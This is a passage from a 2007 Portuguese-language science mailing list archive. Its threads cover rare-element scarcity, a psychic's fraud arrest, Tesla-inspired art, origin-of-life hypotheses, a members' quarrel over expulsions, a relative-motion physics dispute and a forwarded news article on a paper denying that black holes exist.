>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Extinção mineral
>Date: Wed, 27 Jun 2007 09:58:46 -0300
>
>Resumindo: no longo prazo tudo será mais caro!
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "rmtakata" <roberto.takata@bol.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Wednesday, June 27, 2007 12:52 AM
>Subject: [ciencialist] Extinção mineral
>
>
>O uso cada vez mais intensivo de tecnologia eletrônica tem demandado
>um uso maior de certos elementos químicos menos abundantes. E isso
>pode acabar com o estoque natural:
>
>http://www.eetimes.com/news/semi/showArticle.jhtml?articleID=199703375
>
>A perspectiva não é nova para o caso do petróleo, mas para ela há
>opções de substituição - as tais fontes alternativas de energia,
>bioplásticos e outros.
>
>No caso dos elementos químicos a situação é mais complicada. Cada
>elemento químico possui propriedades específicas e em muitos casos
>dificilmente podem ser substituídos por outros, além disso, a opção de
>elementos é limitado - um pouco mais de uma centena na tabela periódica.
>
>A curto prazo exigirá:
>- intensificação do uso de aparelhos multiusos (convergência digital);
>- aumento da produção das jazidas atuais;
>
>A médio prazo isso exigirá:
>- prospecção de novas jazidas;
>- exploração mais eficiente dos minérios na extração dos elementos;
>- desenvolvimento de tecnologia mais eficiente no uso desses elementos
>(q necessitem de uma menor quantidade);
>- reciclagem de componentes eletrônicos.
>
>A longo prazo talvez:
>- usinas de fusão nuclear pesada;
>- mineração da Lua e de rochas submarinas e vulcões;
>- captura de asteróides e mineração em outros planetas;
>
>Valerá a pena investir em ações de mineradoras detentoras de direito
>de exploração de minas de nióbio?
>
>[]s,
>
>Roberto Takata
>
>
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>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
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SUBJECT: RE: [ciencialist] “Vidente” Landi Sobral é preso por estelionato
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 17:18

O Landi é inocente... gente boa, que não deve nada a ninguém...
Tanto que, prevendo a própria prisão, não fugiu, e nem avisou o resto da
quadrilha, perdão, família.
Arre... M.


>From: "Kentaro Mori" <kentaro.mori@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br,
>exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br,
>UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br,
>Ufolista@yahoogrupos.com.br, "lista CA"
><ceticismoaberto@yahoogrupos.com.br>
>Subject: [ciencialist] “Vidente” Landi Sobral é preso por estelionato
>Date: Wed, 27 Jun 2007 16:12:41 -0300
>
>"Vidente" Landi Sobral é preso por
>estelionato<http://www.ceticismoaberto.com/news/?p=914>
>
><http://www.jornaltribuna.com.br/policial.php?id_materia=26019>
>Policiais prenderam na manhã desta segunda-feira, 25, *Jurandir Landi
>Sobral
>*, conhecido internacionalmente como o *Guru das Américas*. Jurandir teve
>sua prisão preventiva decretada pela Comarca de Ponta Grossa, acusado de
>cometer *pelo menos dois estelionatos *naquela cidade. Além do homem que se
>intitula de vidente, foram presos o filho de Jurandir, Marcelo Luiz de
>Vargas Sobral, juntamente com sua nora, Carla Cristina Pereira de Souza, e
>Alexandre Souza. Todos são acusados de formação de quadrilha. *A polícia
>acredita que os golpes aplicados somente neste ano ultrapassem R$ 1
>milhão*.
>Uma mulher de 60 anos, moradora de Balneário, contou que vendeu um
>apartamento, no valor de R$ 147 mil, e que entregou todo o dinheiro para o
>guru, ele teria dito a ela que triplicaria a quantia. A outra vítima foi um
>morador de Florianópolis. O homem relatou que entregou certa quantia em
>ouro
>para o vidente, este teria dito que era alquimista, e que tinha o dom de
>transformar materiais em ouro. Outra queixa é da empresária Gina Cecília
>Fabiano, que entregou R$ 400 mil em troca da promessa de que acertaria os
>números da Mega-Sena e ganharia R$ 8 milhões.
>Somente Alexandre foi detido em uma residência de alto padrão localizada no
>bairro da Barra, os demais foram presos em um luxuoso duplex situado na Rua
>904, centro de Balneário. [Fonte: Tribuna
>Catarinense<http://www.jornaltribuna.com.br/policial.php?id_materia=26019>.
>Foto impagável (e *imprevisível?*):
>G1<http://www.google.com/news/url?sa=t&ct=pt-BR_br/7-0&fp=468257bcc53ae798&ei=F7KCRqGsDIr0rQPdkcXJBw&url=http%3A//g1.globo.com/Noticias/Brasil/0%2C%2CMUL58518-5598-881%2C00.html&cid=1103914751>
>]
>
>A notícia é a oportunidade de listar aqui as previsões eleitorais
>fracassadas do "guru" Landi feitas em 16 de julho de 2003 no decadente
>programa "Boa Noite Brasil":
>
>- Luis Inácio Lula da Silva
>Em agosto de 2003 começará um levante, que durará até o final de setembro.
>Sua popularidade cairá abaixo de 30 pontos. [*Bééééé*]
>- José de Alencar
>Em 24 de agosto de 2003 "começa a confusão", onde o vice será contra
>"decisões esdrúxulas" do PT. Irá "quebrar pratos" com Lula em abril de
>2004.
>[*Bóóóó*]
>- Paulo Maluf
>Será prefeito de São Paulo outra vez em 2004. Sobre Maluf, Landi Sobral
>afirma que é "o pai dos pobres de São Paulo" e é um "homem nobre".
>[*Bíííí*]
>- Antônio Carlos Magalhães
>Este deverá ser seu último mandato. Não será afastado, terá problemas de
>saúde. [*Béééé*]
>- José Sarney
>Irá "chorar muito" em abril de 2004 com uma perda. Este é seu último cargo
>político. [*Bóóóó*]
>A pérola:
>*- Edir Macedo será eleito presidente do Brasil em 2006, com Geraldo
>Alckmin
>como vice. [Tcharam!] *
>
>[via Ricardo Kossatz na lista
>CA<http://br.groups.yahoo.com/group/ceticismoaberto/>,
>e QL <http://queridoleitor.zip.net/>]
>
>Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
>Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
>Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>,
>Recomendamos <http://www.ceticismoaberto.com/news/?cat=16> | Por Mori
>Comente!
>» <http://www.ceticismoaberto.com/news/?p=914#respond>
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> *Posts relacionados:*
> - "Bebê vidente e com três olhos, arruina show da banda
>Calypso"<http://www.ceticismoaberto.com/news/?p=764>Três
> olhos, dentes, cabeluda e com capacidad...
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><http://www.ceticismoaberto.com/news/?p=511>Lembrete: STR na TV hoje
>Sujeito à imprevisível...
> - Radar Ockham 13 e 14 <http://www.ceticismoaberto.com/news/?p=51>Radar
> Ockham 14 • 23 Out 05 Design Inteligente e...
> - Niels Cristiansen, espião
>nazista<http://www.ceticismoaberto.com/news/?p=48>"A
> EXISTENCIA DOS DISCOS VOADORES É INCONTESTAVEL...
> - Revista iberoamericana para la ciencia y la
>razón<http://www.ceticismoaberto.com/news/?p=695>Volumen
> 3, Número 1 Enero / Marzo 2006 EDIT...
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
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>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: LED flourescent lights. Yes!!!!
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, FreeEnergy-BR@yahoogrupos.com.br
DATE: 27/06/2007 17:32

O link vale pela notícia e por muito mais que vai aparecer.
abr/M.

>Subject: [free_energy] LED flourescent lights. Yes!!!!
>Date: Wed, 27 Jun 2007 14:23:20 -0000
>
>From:
>
>http://www.gizmag.com/go/7481/
>
>Regards,
>
>fred
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>
>
>




SUBJECT: Arte moderna que presta: realizando o sonho de Nikola Tesla
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 27/06/2007 17:38

Arte moderna que presta: realizando o sonho de Nikola
Tesla<http://100nexos.com/arquivo/187>

<http://www.zen54564.zen.co.uk/r/field.htm>
Mais de mil e trezentas lâmpadas fluorescentes aterradas logo abaixo de fios
de alta tensão, e o motivo só fica claro (HAHaha!) ao cair da noite: seu
tênue brilho se destaca e a sacada é perguntar "onde estão os fios?". A
resposta: "Exatamente". Estão a dezenas de metros de altura, sem nenhum
contato direto. As lâmpadas devem seu brilho ao campo eletromagnético
invisível gerado pelos fios de alta tensão e que são perdidos ao ambiente de
toda forma. O artista inglês da universidade de Bristol, Richard Box, apenas
demonstra uma bela forma de visualizar tais campos. A luminosidade das
lâmpadas varia de acordo com as condições do tempo, e enquanto uma pessoa
anda entre elas, perturbando os campos eletromagnéticos, as lâmpadas se
apagam e depois acendem de acordo.
"*Que um artista faça algo sobre uma parte específica da física de forma
artística é inspirador*", disse o professor Denis Henshaw. A obra ecoa os
trabalhos de Nikola Tesla, que sonhava com a transmissão de energia sem fios
e chegou a sugerir que todas as casas tivessem um sistema não muito
diferente do realizado pelo artista inglês acima: placas distribuídas pelo
teto e chão gerariam campos que poderia iluminar lâmpadas fluorescentes em
qualquer ponto do recinto. Na imagem acima, Tesla segura uma lâmpada
iluminada sem fios.
A internet vem reabilitando a reverência popular que Nikola Tesla perdeu nos
últimos anos de sua vida, e um excelente filme de ficção recente, *O Grande
Truque<http://www.cinemacomrapadura.com.br/filmes/2081/grande_truque,_o_%28the_prestige_2006%29>
* (The Prestige), ajuda a recompor a imagem que o inventor sempre adorou: um
gênio.
PS.: Compare-se a beleza, utilidade, ciência da obra de Box com
"Cloaca<http://www.medgadget.com/archives/2007/05/cloaca_distills_the_essense_of_modern_art.html>",
que produz literalmente m*rda. "Cientificamente". Mais uma prova de que a
ciência pode ser usada para o bem e para o muito, muito, muito mal.

*Veja também:*
MIT revive sonho de Nikola Tesla <http://100nexos.com/arquivo/166> Na imagem
acima, a transmissão sem fios de...
Bobina de Tesla musical (alto-falante
iônico)<http://100nexos.com/arquivo/177>Bobinas de Tesla produzem
descargas elétri...
Olho de Sauron com bobinas de Tesla <http://100nexos.com/arquivo/85> O
australiano Peter brinca com bobinas de Tesla. ...
História da religião: 5.000 anos em 90
segundos<http://100nexos.com/arquivo/29>Original
de Maps of war, é em verdade uma histór...
Don't F*ck with Love <http://100nexos.com/arquivo/123> "The Sad Little Stars
- Don't F*** With Lov...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Metabolismo Primordial x Replicador Primordial
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 20:15

A Scientific American Brasil de julho (numero 62, nas bancas) tem um
artigo do quimico da New York University Robert Shapiro falando
sobre a hipotese do Metabolismo Primordial como origem da vida como
alternativa aa hipotese do Replicador Primordial. O Metabolismo
Primordial seria desencadeado a partir de seis etapas: 1-Algum tipo
de barreira entre as moleculas componentes do ciclo metabolico
primordial e o ambiente; 2-Uma fonte de energia, possivelmente de
origem mineral, possivelmente uma reacao redox; 3-Algum mecanismo q
permita essa energia estimular uma reacao quimica secundaria; 4-
Outras reacoes quimicas devem ser possiveis de se desenvolver em
funcao da primeira, num ciclo de reacoes de complexidade crescente,
sujeito a evolucao (variacao + selecao natural); 5-A rede de reacoes
deve atrair material do ambiente mais rapido do q perde; e 6-Algum
mecanismo deve permitir a duplicacao/reproducao das redes em novos
modulos metabolicos. Nessa hipotese o inicio da vida nao se deu a
partir de uma molecula auto-replicante q serviria como armazenadora
de informacao. A informacao e' mantida e reproduzida pela identidade
quimica e concentracao dos compostos da rede metabolica. A hipotese
supoe q em algum momento o sistema teve q realizar um salto
evolutivo para o armazenamento de informacao em polimeros. Shapiro
faz no artigo uma interessante analogia entre uma lista de compras
de supermercado com uma molecula armazenadora de informacoes,
lembrando q a colecao de produtos comprados contem a mesma
informacao da lista. E assim faz outra analogia interessante entre a
colecao de produtos comprados com o conjunto de componentes das
redes metabolicas primordiais. Ele sugere q nos dois sistemas
(molecula replicadora e ciclo metabolico) ha' informacao registrada
e hereditariedade na duplicacao da molecula e do ciclo. So' q
Shapiro parte do principio q o replicador primordial teria q ser
necessariamente um polimero complexo como o RNA. Justamente a
baixissima probabilidade de uma molecula complexa como o RNA ter
surgido por acaso e' q Shapiro usa como argumento q favorece a
segundo ele mais provavel hipotese do Metabolismo Primordial. No
entanto, muitos cientistas nao acreditam q o RNA surgiu por acaso.
Alias, creio q a maioria cre^ q o RNA e' o resultado da evolucao
darwiniana a partir de moleculas auto-replicantes recessivamente
mais simples, num longo periodo, ate' uma primeira molecula auto-
replicante, o Replicador Primordial, simples o suficiente para ter
sido formada por acaso no tempo existente de evolucao geologica da
Terra antes do inicio da fase evolutiva do processo. A meu ver a
hipotese do Replicador Primordial Simples parece mais provavel q a
hipotese do Metabolismo Primordial, entre outras coisas porque desde
o comeco temos uma molecula auto-replicante q serve como
armazenadora de informacoes. Creio q o 'salto' da 'colecao de
moleculas num ciclo metabolico' para o 'polimero auto-replicante
depositario de informacoes' parece tao ou mais improvavel q a
hipotese do Replicador Primordial Complexo q Shapiro tanto critica.
O artigo de Shapiro registra a definicao atual de vida usada pela
NASA, das mais sinteticas: 'Vida e' um sistema quimico auto-
sustentado capaz de passar por uma evolucao darwiniana'. Preciso e
suficiente. Eu iria alem: 'Vida e' qq sistema auto-sustentado capaz
de passar por uma evolucao darwiniana'. Ate' sistemas nao quimicos
(eletronicos?) podem em tese desenvolver-se em sistemas vivos, desde
q sejam capazes de evoluir de modo darwiniano (mas esse e' outro
debate q foje do topico especifico dessa msg). A revista tem outros
artigos interessantes, um dos quais falando do movimento para a
reintroducao na America do Norte de animais de outros continentes
semelhantes aa sua fauna original do Pleistoceno, extinta ha' 13 mil
anos. A proposta tem tanto defensores como criticos ardorosos. Outro
artigo fala da cosmologia de particulas, campo da fisica q estuda a
origem do Universo em funcao da fisica das particulas subatomicas.
Recomendo.

Abs,
Eduardo Torres




SUBJECT: Re: [ciencialist] Errar é humano
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 21:47

O que é isso professor José Carlos?
As razões que vc apresenta não são tão fortes suficientes para provocar
tamanha violência em sua mudança de atitude. São nessas ocasiões que as
pessoas revelam seu íntimo mais escondido. Suas mágoas e irritações não vão
deixar de lhe incomodar, nem a realidade vai mudar quando vc deixar de ler
opiniões e conhecimentos que vc não consegue assimilar. Vc pode até chegar,
daqui a alguns anos, a um entendimento da gravidade de suas palavras, mas
elas já foram lançadas... Esse e-mail marcará para sempre em sua vida, sua
história.

José Renato
..........................................
----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 12:06 PM
Subject: [ciencialist] Errar é humano


Prezados moderados e lista,

Atendendo às múltiplas solicitações de compreensão, humildade
intelectual e paciência com os leigos de má vontade, venho por meio
dessa admitir um profundo e grave ero intelectual que cometi nessa
lista em várias ocasiões ao me colocar contra a expulsão de membros
que nunca deram aqui nenhuma contribuição que prestasse e que, pelo
contrário, já emporcalharam essa lista com lixo de todo tipo em
centenas de mensagens. A saber: Amauri, José Renato e Ferrari (os
principais).

Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
estava errado e passo a concordar com a expulsão dos três e de tantos
outros quantos necessário for para que essa lista volte a ser uma
lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).

Sem mais,
JC




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SUBJECT: Re: [ciencialist] Errar é humano
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 21:59

Nando, é mais inteligente observar que Ferrari tem interlocutores
importantes na lista. Um deles, Takata, é um dos moderadores e um dos que
mais dialoga e provoca respostas e opiniões. Mas o poder de expulsão parece
agradar alguns. Na banca do sapateiro que se instala diariamente aqui
próximo li uma tabuleta exposta com destaque, onde em um português ruim
alertava aos fregueses que os sapatos não retirados após 90 dias, seriam
descartados. Demonstração de poder que o consola...
[]s
José Renato
...........................................

----- Original Message -----
From: "Nando" <nando.str@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 2:44 PM
Subject: Re: [ciencialist] Errar é humano


> José Carlos Antonio wrote:
>
>> Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
>> estava errado e passo a concordar com a expulsão dos três e de tantos
>> outros quantos necessário for para que essa lista volte a ser uma
>> lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).
>
> Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
> manifestei, mas agora concordo com a sugestão dele.
> Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
> e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
> besteiras.
>
> Quanto aos outros usuários citados (Amauri e José Renato), não me
> incomodei com nenhuma mensagem deles, mas não considero as viagens do
> Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
> ciência, e não filosofia de 10ª categoria.
>
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>
>



SUBJECT: Re: [ciencialist] Extinção mineral
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 22:12

Pode ser mais complicado que isso (ou menos simples). É o que dá a
entender o texto. Minerar no espaço pode não ser viável, por exemplo.

Gil
Em 27/06/07, Alvaro Augusto (L)<alvaro@lunabay.com.br> escreveu:
> Resumindo: no longo prazo tudo será mais caro!
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "rmtakata" <roberto.takata@bol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 27, 2007 12:52 AM
> Subject: [ciencialist] Extinção mineral
>
>
> O uso cada vez mais intensivo de tecnologia eletrônica tem demandado
> um uso maior de certos elementos químicos menos abundantes. E isso
> pode acabar com o estoque natural:
>
> http://www.eetimes.com/news/semi/showArticle.jhtml?articleID=199703375
>
> A perspectiva não é nova para o caso do petróleo, mas para ela há
> opções de substituição - as tais fontes alternativas de energia,
> bioplásticos e outros.
>
> No caso dos elementos químicos a situação é mais complicada. Cada
> elemento químico possui propriedades específicas e em muitos casos
> dificilmente podem ser substituídos por outros, além disso, a opção de
> elementos é limitado - um pouco mais de uma centena na tabela periódica.
>
> A curto prazo exigirá:
> - intensificação do uso de aparelhos multiusos (convergência digital);
> - aumento da produção das jazidas atuais;
>
> A médio prazo isso exigirá:
> - prospecção de novas jazidas;
> - exploração mais eficiente dos minérios na extração dos elementos;
> - desenvolvimento de tecnologia mais eficiente no uso desses elementos
> (q necessitem de uma menor quantidade);
> - reciclagem de componentes eletrônicos.
>
> A longo prazo talvez:
> - usinas de fusão nuclear pesada;
> - mineração da Lua e de rochas submarinas e vulcões;
> - captura de asteróides e mineração em outros planetas;
>
> Valerá a pena investir em ações de mineradoras detentoras de direito
> de exploração de minas de nióbio?
>
> []s,
>
> Roberto Takata
>
>
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 22:20

Professor José Carlos, sua desgraça é que todos os e-mails ainda estão em
arquivo... São eles que denunciam que vc não está falando a verdade. Só para
lembrar, a solução apresentada como verdadeira e única eu não preciso negar
ou rejeitar. Ficou claro nos textos que eu concordo que ela existe, mas
sempre com a ressalva de que não atende o enunciado do problema que fala,
literalmente, "com mesma velocidade da esteira".

O problema do carro-bola surgiu como um fantasma para quem queria enterrar
de qualquer maneira a solução e os comentários que apresentei. Lembra a
agonia de aprovar o relatório que inocenta Renan Calheiros...

Nesse novo problema caro-bola, a bola tem sua velocidade medida e aferida no
lançador *em relação ao chão*, mas ao ser lançada com o carro em movimento
sua velocidade em relação ao carro-lançador é de aprox. 100km/hora, mas em
relação ao chão é praticamente zero... Igual a do avião na solução que
apresentei. Após todos esses anos de aprendizado e ensino vc não aprendeu o
principal na física dos movimentos: raciocinar com a relatividade.

José Renato
..........................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 12:00 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


José Renato, só para constar:

A questão do avião já foi resolvida aqui por vários listeiros e você,
até onde se sabe, não teve "culhões intelectuais" para negar as
soluções apresentadas ou apresentar outra divergente. Na verdade
apenas calou quando viu que seus argumentos eram puro lixo e que nada
mais tinha a dizer e passou então a encher o saco de outros listeiros
na esperança de que mais alguém no mundo tenha a mesma péssima
formação básica que você. Tente o Amauri ou o Ferrari.

JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Ricardo! Faço questão de registrar a capacidade que vc e Homero
têm de
> desviarem-se do objetivo, de confundir ou ficar apenas chapinhando na
> superfície da questão dos referenciais utilizados para medir as
velocidades
> do carro e a da bola. Essa questão que levantei na experiência da bola
> lançada do carro nas mesmas velocidades em sentidos contrários, que é
> semelhante a questão do avião-esteira, parece que ninguém quer
ver... Fogem
> dela como o capeta da cruz. Faço outros comentários no texto abaixo,
após
> JR1 -, OK?
> ................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, June 21, 2007 3:12 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> E lá vamos nós...
>
> > Ricardo: A única coisa que os 2 problemas têm em comum é o seu
erro, para
> > variar...
> > ........................
> > José Renato:
> > Vc não disse qual é o meu erro?
> >
> > Ricardo:
> > 1) A bola não corre para trás, após tocar o chão, por causa do
vácuo, como
> > vc afirmou, pois ela ganha grande velocidade somente após tocar o
chão.
> > JR - Erro 1: a bola já cai na vertical pela primeira vez com
inclinação
> > para a esquerda, o que significa que já existe uma componente
horizontal
> > de força nessa direção.
>
> Mas, é após tocar no chão que realmente ganha velocidade. O
deslocamento da
> bola para esquerda, antes do contato com o chão, é muito pequeno. Não
> justifica a bola começar a rolar para a esquerda, como acontece, após o
> contato com o chão. Permanece o seu erro.
> JR1 - Sua análise está incompleta. A bola ao ser lançada está com
velocidade
> teórica zero em relação ao chão. Com o empuxo do vento de arraste do
carro
> ela adquire aceleração e, quando toca no chão já está acelerada.
Inferir que
> é a rotação da bola que aumenta a velocidade dela ao tocar o chão vc
pode.
> Mas é apenas um palpite, visto que o vídeo não tem boa definição que
permita
> um cálculo preciso, como vimos na plotagem que takata fez. O que vc
não pode
> negar é que o vento, provocado pelo deslocamento do carro, promove a
> aceleração horizontal da bola para a esquerda a partir do lançamento.
>
> > 2) O avião decola seja qual for o referencial escolhido para o outro
> > problema (do avião) e não faz nenhum sentido o uso de 2 referenciais,
> > pelas razões já exaustivamente explicadas.
> > JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> > usados 2 referenciais diversos. O teste feito com o lançador
parado para a
> > aferição da velocidade utilizou o chão como referencial. Mas, quando o
> > lançador está no carro, a velocidade da bola é medida em relação ao
> > lançador e não mais em relação ao chão.
>
> A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
> apresentado. E, aliás, nem é realmente importante. A única observação
> importante, neste caso, é a de que o grande movimento adquirido após o
> contato com o chão não pode ter sido causado pelo vácuo, senão
aconteceria
> antes deste contato.
> JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um
> dos dois dados fundamentais do problema já não é importante... A
inclinação
> da bola para a esquerda já é visível na primeira trajetória após o
> lançamento. Essa força de empuxo horizontal somada à componente
vertical
> gravitacional promove o deslocamento mais acentuado após quicar no chão.
>
> > Se ela estivesse em um tubo bem longo instalado no carro e
mantivesse a
> > velocidade do lançamento de 100km/h ela continuaria praticamente
parada em
> > relação ao solo... Como o avião.
>
> Não, visto que o cano não impediria a rotação da bola em torno de seu
> próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar
está,
> muito provavelmente, associado à diferença entre a velocidade do
carro e a
> velocidade de arremesso, que obviamente, dificilmente serão iguais.
E, veja
> bem, mesmo que o vácuo tivesse causado este pequeno deslocamento para a
> esquerda inicial (que deixaria a bola quase no local de lançamento), não
> justificaria o grande movimento que ocorre após o contato com o chão.
> JR1 - Não expliquei direito o arranjo imaginado com um tubo longo
horizontal
> acoplado ao carro que mantivesse a bola na velocidade de 100km/h. O
> carro-esteira se deslocaria para a esquerda a 100km/h, medida em
relação ao
> chão, e a bola-avião se deslocaria a 100km/h medida em relação ao
> carro-esteira.
>
> Seria difícil conseguir este nível de precisão para as duas
velocidades. Mas
> o fato do deslocamento ainda no ar ser muito pequeno, mostra que
chegaram
> bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.
> JR1 - Se o deslocamento da bola fosse para a direita na primeira
trajetória
> antes de tocar o chão poderíamos afirmar sem dúvida que as
velocidades não
> eram iguais. No caso em questão em que a bola se inclina para a
esquerda no
> primeiro trajeto ao chão, considerar o efeito de rotação da bola como
> impulcionador após o toque no chão é apenas um exercício de imaginação.
> Seria um evento que até poderia ocorrer, mas não justificaria a
inclinação
> para a esquerda no primeiro trajeto ao chão.
>
>
> > Não adianta se esconder. A verdade vai chegando de mansinho no
problema
> > da bola e em outros trocentos problemas semelhantes de movimentos
> > relativos.
> > São eles que vão mostrar quem está errando e insistindo no erro de
> > interpretação, só para não aceitar que minha análise está correta.
> >
> > Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo
> > filme"Quem somos nós"?
> > JR - Quem sabe um dia vc caia na real de que é isso que se realiza?
>
> Hmm... continue repetindo os mesmos argumentos sem sentido que um dia vc
> deve conseguir (pelo menos a gente vai se cansar de tentar te explicar).
> JR1 - Só espero que vc e outros não usem de renancalheirismo e,
depois de
> cairem na real, venham dizer que sabiam disso deeessde o início e
que só
> estavam discordando de bricadeirinha! Takata já indicou algo
preocupante em
> seu último comentário: deixa essa questão dos referenciais de
medições para
> Homero e outros se divertirem comigo. Por favor, não nos decepcionem!
>
> Abs,
> Ricardo
>
> Abraços
> José Renato
>




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SUBJECT: Re: [ciencialist] Buraco negro não existe
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 22:33


----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <redeliberal@yahoogrupos.com.br>; <paucor@superig.com.br>;
<ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Sent: Monday, June 25, 2007 10:10 PM
Subject: [ciencialist] Buraco negro não existe


transcrevo do JC.


Buraco negro não existe, diz trio de físicos dos EUA

Pesquisadores propõem solução para enigma elaborado por Stephen
Hawking. Estudo é debatido há um ano e passou pelo crivo de publicação
rigorosa; autor diz que pode testar idéia em acelerador de partículas

Rafael Garcia escreve para a "Folha de SP":

Um trio de físicos está propondo uma solução inusitada para um enigma
que desafia a ciência há mais de 30 anos.

Tanto a elaboração do problema quanto a solução oferecida são bastante
complexos, mas o resultado final de tudo pode ser resumido de maneira
simples: buracos negros não existem.

A alegação, afirmam seus autores, é a resposta para um enigma proposto
pelo britânico Stephen Hawking, mais conhecido como autor do livro "Uma
Breve História do Tempo", portador de uma doença neurológica que o deixou
paralisado.

A inexistência dos buracos negros foi proposta por grupo de físicos da
Universidade Case, de Cleveland (EUA), em um estudo que já está circulando
há alguns meses entre a comunidade de físicos teóricos.

Só agora, porém, o trabalho foi aceito para publicação em uma revista
com um crivo rigoroso, a "Physical Review D".

Com 15 páginas cheias de equações e diagramas, Dejan Stojkovic,
Lawrence Krauss e Tanmay Vachaspati detalham a sua proposta de solução para
o que os físicos conhecem como o "paradoxo da informação".

O problema está ligado à natureza dos buracos negros, objetos cósmicos
tão maciços que sua gravidade captura tudo o que está em volta e não deixam
escapar nada -nem mesmo a luz.

Segundo a concepção clássica, buracos negros são produzidos quando uma
estrela maciça demais implode. Toda sua massa fica concentrada em um ponto
de dimensão zero, chamado de "singularidade".

Nada que se aproxime além de uma certa fronteira, chamada de
"horizonte de eventos", escapa à fome do mostro.

Morte impossível

O problema é que esse conceito entra em conflito com a física
quântica, conforme o paradoxo proposto por Hawking em 1974. Segundo ele, um
buraco negro não é um monstro imortal que só faz crescer.

Se esses objetos cósmicos ficarem muito tempo sem nada para engolir,
eles acabam perdendo massa na forma de radiação e finalmente morrem.

O problema é que essa morte aniquilaria toda a informação contida na
matéria engolida pelo buraco negro. Isso vai contra leis básicas da física
quântica, segundo a qual a informação pode ser transformada, mas nunca
aniquilada.

Ao propor que buracos negros não existem, o grupo de Krauss oferece
uma solução para o enigma.

"Se estivermos corretos, nenhuma informação será perdida ao atravessar
o horizonte de eventos de um buraco negro, porque esse horizonte jamais se
formaria", disse Krauss à "Folha de SP".

"Nós tivemos um bocado de discussão com muitos colegas, e muitos deles
estão céticos, mas até agora ninguém conseguiu oferecer uma razão definitiva
pela qual isso não esteja correto."

Apesar aceito pela "Phisical Review", porém, o novo estudo ainda deve
passar pelo crivo da comunidade científica para deixar de ser tido como
proposta intelectualmente isolada.

Segundo o físico Daniel Vanzella, professor da USP de São Carlos, não
é a primeira vez que alguém postula a inexistência de buracos negros.

Mas, na maioria das vezes em que isso ocorreu num passado recente,
físicos não demoraram a encontrar erros em contas ou problemas de
interpretação nos estudos.

"Na minha opinião, esse trabalho merece uma análise mais cautelosa",
afirma. "Certamente a comunidade vai olhar com carinho e cuidado esse paper
[estudo]."

O físico Marcelo Gleiser, professor do Dartmouth College (EUA) e
colunista da "Folha de SP", classificou o novo trabalho como "interessante"
e "elegante", mas "inconclusivo".

"Talvez seja um passo na direção certa, mas falta muito para se
